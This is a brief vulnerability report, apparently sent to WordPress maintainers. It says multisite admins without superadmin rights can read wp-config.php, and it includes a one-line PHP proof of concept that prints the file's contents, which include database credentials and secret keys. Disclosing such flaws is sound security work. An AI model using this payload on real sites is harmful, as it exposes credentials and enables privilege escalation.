Any admin in a WP multi site installation (even without superadmin privileges or without FTP access) can read/write wp-config.php.
He just needs to add a new insert with the following code:
<?php $GetContent = file_get_contents($_SERVER['DOCUMENT_ROOT'].'/wp-config.php'); echo '<pre>'.htmlentities($GetContent).'</pre>'; ?>
(Proof of concept)
Please try to fix it.